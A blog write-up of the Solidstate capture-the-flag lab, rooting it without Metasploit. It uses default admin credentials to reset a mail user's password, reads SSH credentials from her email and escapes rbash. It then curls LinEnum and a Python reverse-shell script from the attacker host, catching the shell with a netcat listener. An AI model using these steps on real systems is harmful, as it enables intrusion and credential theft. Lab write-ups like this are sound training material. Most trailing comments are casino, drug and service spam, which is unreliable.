Solidstate

Note: In an attempt to be OSCP friendly, NONE of my write ups will utilize Metasploit. Zero. Zip. Tell your friends.

Let’s see what our first couple of nmap scans come up with: nmap -p – 10.10.10.51 and then nmap -sC -sV -p 22,25,80,110,119,4555 10.10.10.51

A few things look interesting. To start with, port 80 is open so we can probably navigate to that web page. Also, port 4555 is running some service called james-admin. No idea what James is, but we’ll figure it out.

Let’s navigate to the webpage first.

Clinking on links within the website everything appears to come up as a .html, which isn’t super interesting right away (.php is usually more vulnerable).

Let’s see if we can get into that port 4555 using netcat: nc 10.10.10.51 4555

It’s asking for a username and a password, and a quick Google search shows us that the default credentials are root/root, so let’s try that.

That was easy enough. From here I can do a few things, like listusers and even setpassword thus changing any user’s password and then logging in as them. Let’s run listusers:

Checking Email with Telnet

There’s a few ways to read the e-mail on this device. You could use a client like Thunderbird, but I’m gonnna use Telnet. You can find information on that here: https://mediatemple.net/community/products/dv/204404584/sending-or-viewing-emails-using-telnet

We’ll open up a new terminal window and then log into the mailadmin account via telnet on port 110. We type USER mailadmin, PASS password, and LIST to view the contents of the inbox:

And it doesn’t look like there’s anything in there. Let’s try mindy’s account now, so go change her password

And then check if there’s anything in her inbox:

Looks like there is two items. We can use the RETR command (for retreive) to view each of the e-mails:

And it looks like we have some SSH credentials in the 2nd e-mail, nice! So let’s SSH into the box this way with the following command: ssh mindy@10.10.10.51

We have a shell, but there isn’t much we can do with it since it’s restricted:

If we cat /etc/passwd we can see that the mindy user has a default bash of rbash, which is a restricted bash shell.

You can do some Googling to find various ways to get past a restricted bash, and it all depends on what kind of characters are available to be executed, such as the /. In our case, we can re-start our SSH session with the following command: ssh mindy@10.10.10.51 “bash –noprofile” to bypass the loading of the profile. More information is available here: https://speakerdeck.com/knaps/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells?slide=9

From here, viewing the user.txt flag is trivial.

Privledge Escelation

We’re going to try to enumerate the Linux box now. We’ll do that with LinEnum.sh, available here: https://github.com/rebootuser/LinEnum

You’ll want to download it to your Kali box, and then setup the simple HTTP server so you can easily transfer the file to the target machine. Download the LinEnum.sh script and then from the directory it is in, run python -m SimpleHTTPServer 80

Now, from our shell on our target box, we’ll type curl 10.10.14.30/LinEnum.sh -o LinEnum.sh

And we now see we have the file on our target machine. Time to execute: bash LinEnum.sh -t

There is a lot to look at in the contents of what we just enumerated, to the point of it being overwealming. One thing should stand out, though:

So this is a file that we can write to, but executes as root, and it’s a Python script. Let’s navigate there and look at it.

Using Vi or Nano in a shell is a bitch (at least for me) so the easiest way I was able to do this was create a new tmp.py file on my Kali box, and paste the Python Reverse Shell code from the PenTest Monkey cheat sheet here: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet making sure to update it with my IP address.

Now, look at the above code carefully, we had to tweak it slightly from what was exactly on the PenTest Monkey website.

Then, setup a NetCat listener on your Kali box with the command nc -lvp 1234 and then use Curl (like we did earlier) to copy your new tmp.py file to the /opt directory on your target machine: curl 10.10.14.30/tmp.py -o tmp.py

Now, let’s test our script first. From our target machine’s shell, type python tmp.py

If your script worked, you should have a reverse shell with mindy’s credentials:

That will verify that your script works. Kill that NetCat session, start a new one, and then wait for the tmp.py script to execut as the root user.

201 thoughts on “Solidstate”

  1. Good V I should definitely pronounce, impressed with your site. I had no trouble navigating through all tabs as well as related information ended up being truly easy to do to access. I recently found what I hoped for before you know it in the least. Reasonably unusual. Is likely to appreciate it for those who add forums or something, web site theme . a tones way for your customer to communicate. Excellent task..

  2. You really make it appear so easy together with your presentation however I find this topic to be really one thing that I believe I’d by no means understand. It seems too complex and extremely broad for me. I’m taking a look ahead for your subsequent put up, I?¦ll try to get the cling of it!

  3. me encantei com este site. Pra saber mais detalhes acesse nosso site e descubra mais. Todas as informações contidas são conteúdos relevantes e diferentes. Tudo que você precisa saber está ta lá.

  4. I?¦ll right away grab your rss feed as I can not to find your email subscription link or newsletter service. Do you have any? Please let me know in order that I may just subscribe. Thanks.

  5. Thanks for all of the hard work on this web site. Debby enjoys making time for investigations and it is obvious why. Most people know all of the lively mode you offer very useful guides through your blog and in addition cause participation from people on the article then our simple princess is starting to learn a lot of things. Have fun with the remaining portion of the year. You have been conducting a superb job.

  6. Good – I should definitely pronounce, impressed with your website. I had no trouble navigating through all the tabs as well as related info ended up being truly simple to do to access. I recently found what I hoped for before you know it at all. Quite unusual. Is likely to appreciate it for those who add forums or something, site theme . a tones way for your client to communicate. Excellent task.

  7. Thank you for the sensible critique. Me and my neighbor were just preparing to do some research about this. We got a grab a book from our area library but I think I learned more from this post. I’m very glad to see such wonderful info being shared freely out there.

  8. Heya! I just wanted to ask if you ever have any trouble with hackers? My last blog (wordpress) was hacked and I ended up losing many months of hard work due to no data backup. Do you have any solutions to stop hackers?

  9. This web site is mostly a walk-through for all of the information you wanted about this and didn’t know who to ask. Glimpse right here, and also you’ll positively discover it.

  10. Hello I am so delighted I found your weblog, I really found you by error, while I was browsing on Aol for something else, Anyways I am here now and would just like to say kudos for a tremendous post and a all round entertaining blog (I also love the theme/design), I don’t have time to browse it all at the minute but I have saved it and also added in your RSS feeds, so when I have time I will be back to read much more, Please do keep up the fantastic job.

  11. Hi , I do believe this is an excellent blog. I stumbled upon it on Yahoo , i will come back once again. Money and freedom is the best way to change, may you be rich and help other people.

  12. Thank you a lot for sharing this with all people you actually know what you are talking approximately! Bookmarked. Kindly additionally seek advice from my website =). We could have a hyperlink exchange agreement among us!

  13. I got what you intend, regards for posting.Woh I am thankful to find this website through google. “Wisdom doesn’t necessarily come with age. Sometimes age just shows up by itself.” by Woodrow Wilson.

  14. Thank you for the sensible critique. Me & my neighbor were just preparing to do a little research on this. We got a grab a book from our local library but I think I learned more from this post. I am very glad to see such wonderful info being shared freely out there.

  15. I would like to thnkx for the efforts you have put in writing this blog. I am hoping the same high-grade blog post from you in the upcoming as well. In fact your creative writing abilities has inspired me to get my own blog now. Really the blogging is spreading its wings quickly. Your write up is a good example of it.

  16. Finden Sie dieselbe Spielauswahl und ist die Qualität bei Grafiken auf dem PC,
    wie auch auf einem Smartphone oder Tablet die Gleiche?
    Wie oft werden neue Spiele hinzugefügt und wie hoch ist
    die durchschnittliche Auszahlungsrate (RTP) der
    angebotenen Spiele? Arbeitet das Unternehmen mit namhaften Softwareanbietern wie Pragmatic
    Play, NetEnt, Amatic oder Evolution Gaming zusammen?
    Viele Online-Spiele-Websites bieten Auszahlungen innerhalb von 24 Stunden an, obwohl viele davon technisch gesehen nur
    eine Stunde dauern. Müssen Sie für bestimmte Bonusangebote
    in einer neuen Online Spielothek auch eine bestimmte Zahlungsmethode verwenden?
    Großzügige Willkommensboni, Freispiele und Cashback-Angebote werden oft
    eingesetzt, um Spieler anzulocken und ihnen einen Mehrwert zu bieten. Sie bieten riesige Preispools und die
    Möglichkeit, gegen Elitespieler anzutreten. Die besten neuen Online-Casinos überschütten Sie mit
    Freispielen und Einzahlungsangeboten. Auch, wenn ihr bei eurem bisherigenOnline Casino schon gute Erfahrungen gemacht habt,
    lohnt es sich neue Online Casinos auszuprobieren, den dieneueste Online Casinos bietenimmer wieder guteWillkommensbonian.

    References:
    https://online-spielhallen.de/beste-casinos-mit-10e-bonus-ohne-einzahlung-2025/

  17. Hier finden die Kunden eine abwechslungsreich zusammengestellte Spielesammlung, die alle Bereiche der Casinospiele einschließt.
    Die Mindesteinzahlung wurde bei allen Zahlungsmethoden auf 20 Euro festgesetzt.
    Das Zeitlimit zum Erfüllen der Umsatzbedingung beträgt fünf Tage und maximal
    kann lediglich der fünffache Betrag des erhaltenen Bonus ausgezahlt werden. Bei
    den ersten beiden Einzahlungen müssen mindestens 10 Euro, bei der dritten mindestens
    20 Euro und bei der vierten mindestens 15 Euro eingezahlt werden, um die Bonusprämien zu erhalten.
    Die Verde Casino Freispiele können zum
    Beispiel lediglich bei dem vorgegebenen Spielautomaten eingelöst werden, während
    man mit dem Startguthaben etwas mehr Auswahl hat. Der höchstmöglich auszahlbare Betrag, der über diese Verde Casino
    Freispiele erhältlich ist, liegt ebenfalls bei 25 Euro.
    Für jeden Spieler ist es wichtig zu wissen, dass er sich bei Bedarf an den Kundendienst wenden kann, um
    Hilfe zu erhalten. Insgesamt bietet das Casino etwa hundert Möglichkeiten,
    ein Konto aufzufüllen, wobei sich die Methoden für die Einwohner verschiedener Länder unterscheiden. Darüber hinaus
    können Sie sich bei Fragen oder Problemen jederzeit an den reaktionsschnellen Kundensupport per
    E-Mail wenden – Die Website des Casinos bietet eine ziemlich gute Auswahl an Zahlungsmethoden.
    Durch unseren Link kann man sich dabei nochmal einen zusätzlichen Startbonus
    sichern.

    References:
    https://online-spielhallen.de/hitnspin-casino-test-bonus-spiele/

  18. Hey, I’ve been checking out play.hit 8.club lately and honestly, it’s been a blast. The games are fun and it’s pretty easy to get into. Definitely worth a look if you’re looking for something new to play. Check it out here: play.hit 8.club

  19. Magnificent website. Plenty of helpful information here. I’m sending it to some buddies ans additionally sharing in delicious. And obviously, thank you in your sweat!

  20. ラブドール 140cm 2019年の女性のための最高のセックス人形(男性のセックス人形)セックス人形を購入する動機はたくさんありますシリコン人形とTPE人形:どちらが最高ですか?大きなお尻を持つ巨大な魅力的な本物のセックス人形

  21. whoah this blog is magnificent i love reading your posts. Keep up the great work! You know, lots of people are searching around for this information, you can aid them greatly.

  22. Having read this I thought it was very informative. I appreciate you taking the time and effort to put this article together. I once again find myself spending way to much time both reading and commenting. But so what, it was still worth it!

  23. I have not checked in here for some time because I thought it was getting boring, but the last several posts are great quality so I guess I will add you back to my everyday bloglist. You deserve it my friend 🙂

  24. Fantastic goods from you, man. I have understand your stuff previous to and you’re just too fantastic. I actually like what you have acquired here, really like what you’re saying and the way in which you say it. You make it entertaining and you still take care of to keep it smart. I can not wait to read much more from you. This is actually a terrific site.

  25. Hello! Would you mind if I share your blog with my twitter group? There’s a lot of people that I think would really enjoy your content. Please let me know. Thanks

  26. I do agree with all of the ideas you’ve presented in your post. They are really convincing and will definitely work. Still, the posts are very short for starters. Could you please extend them a bit from next time? Thanks for the post.

  27. Thank you for providing such a well-organized and neutral overview. The logical flow of your writing makes it incredibly easy to grasp the core concepts you presented today.

    VIAGRA FOR SALE HERE

  28. It is really refreshing to see a post that simply lays out the facts in a very organized and balanced manner, providing the readers with exactly the kind of valuable information they came here to find.

    CIALIS FOR SALE HERE

  29. For players who want to explore online slots before risking real money, free demo games can be a practical way to understand the mechanics of different games. Vegas-Slots-Online.com features everything from traditional 3-reel games to feature-rich video slots, with information about RTP, volatility, bonus features and jackpots.
    A good starting point is Vegas-Slots-Online.com https://vegas-slots-online.com/. Visitors can experiment with different games through free demos while also reading about RTP, volatility, jackpots and common bonus mechanics.
    The reviews can also help explain the differences between traditional slots and newer feature-heavy games. This makes it easier to compare games based on their mechanics rather than choosing a title at random.
    As with any form of gambling, real-money play should be approached responsibly. Trying a demo first can help you learn the mechanics without risking money.

  30. Работа холодильника зависит от согласованного взаимодействия нескольких систем. Если на дисплее возникают предупреждения, причина может находиться в разных частях устройства. Осмотр системы охлаждения позволяет оценить ее состояние.

    Информацию о сервисных работах можно посмотреть на Lieb-rus https://lieb-rus.pro/. Там представлены направления работы с различными категориями техники этой марки. Перед обращением полезно проверить наличие кода ошибки.

  31. Винные шкафы и морозильные камеры решают разные задачи, но оба вида оборудования нуждаются в стабильном охлаждении. При этом ошибка управления не всегда означает поломку электронной платы. Выбор способа ремонта зависит от выявленной неисправности.

    С перечнем услуг можно ознакомиться через сайте сервиса Liebherr https://lieb-rus.pro/. Рассматриваются морозильные камеры и специализированные шкафы. При обращении имеет смысл сообщить модель и примерный возраст техники.

  32. Поломка бытовой техники не всегда связана с очевидной причиной. В бытовой технике Miele электронные модули управляют различными механизмами, поэтому перед заменой деталей важно определить источник сбоя. Особенно это касается стиральных машин, холодильников и кофемашин.

    Владельцам оборудования Miele может пригодиться информация про сервисный центр Miele https://premier-service-miele.ru/. Здесь можно ознакомиться с условиями диагностики и послегарантийного обслуживания.

    Например, при нестабильной работе кофемашины Miele может потребоваться диагностика заварочного блока и гидравлического тракта. Важно учитывать работу остальных связанных механизмов.

    При выборе сервиса желательно заранее уточнить порядок диагностики и согласования стоимости. При необходимости замены компонентов следует согласовать перечень работ.

  33. Когда команда заводит нового бота в Telegram полезно записать, кто будет владельцем и кто отвечает за содержание. Проверьте, какой текст увидит человек при первом запуске, где находится помощь и как бот реагирует на незнакомую команду. Для первой проверки достаточно пройти самый частый сценарий от начала до конца.

    Если бот или канал переходит к другому человеку, заранее договоритесь, кто проверит доступ после передачи. Можно составить короткий список действий для нового владельца и проверить его в тот же день. Так будет понятно, кто сможет вносить изменения и отвечать на вопросы пользователей.

    Подробности по нужной операции можно посмотреть в разделе «передача прав на Telegram-канал https://tgmultitool.com/guides/kak-peredat-bota-ili-kanal/».

  34. Сервисный центр «ПромКомТех» проводит комплексный ремонт и модернизацию токарных станков с ЧПУ. Работы начинают с проверки механических узлов, сервоприводов и электронных компонентов. По результатам диагностики определяют, какие узлы требуется восстановить, настроить или заменить.

    В зависимости от состояния оборудования ремонт токарных станков https://promcomtech.ru/remont-tokarnykh-stankov/ включает восстановление механики станка, включая шпиндели, направляющие и ходовые винты. К механическим работам также относится балансировка шпинделей. Сервисный центр выполняет ремонт электроники и сервоприводов с последующей настройкой, а при модернизации станка проводит замену или обновление контроллеров.

  35. Если комната выглядит пустой, сначала сфотографируйте её с нескольких точек. На снимках проще заметить, где не хватает света, цвета или деталей. Для предметов на комоде полезно сначала отметить, сколько места они займут рядом с лампой или другими вещами.

    Если подбираете предметы интерьера https://loftinside.ru/dekor/ для открытой полки, сравните высоту и ширину нескольких вариантов и прикиньте, как они будут смотреться рядом. Оттенки лучше оценивать рядом с мебелью и отделкой при дневном и вечернем свете.

Leave a Reply

Your email address will not be published. Required fields are marked *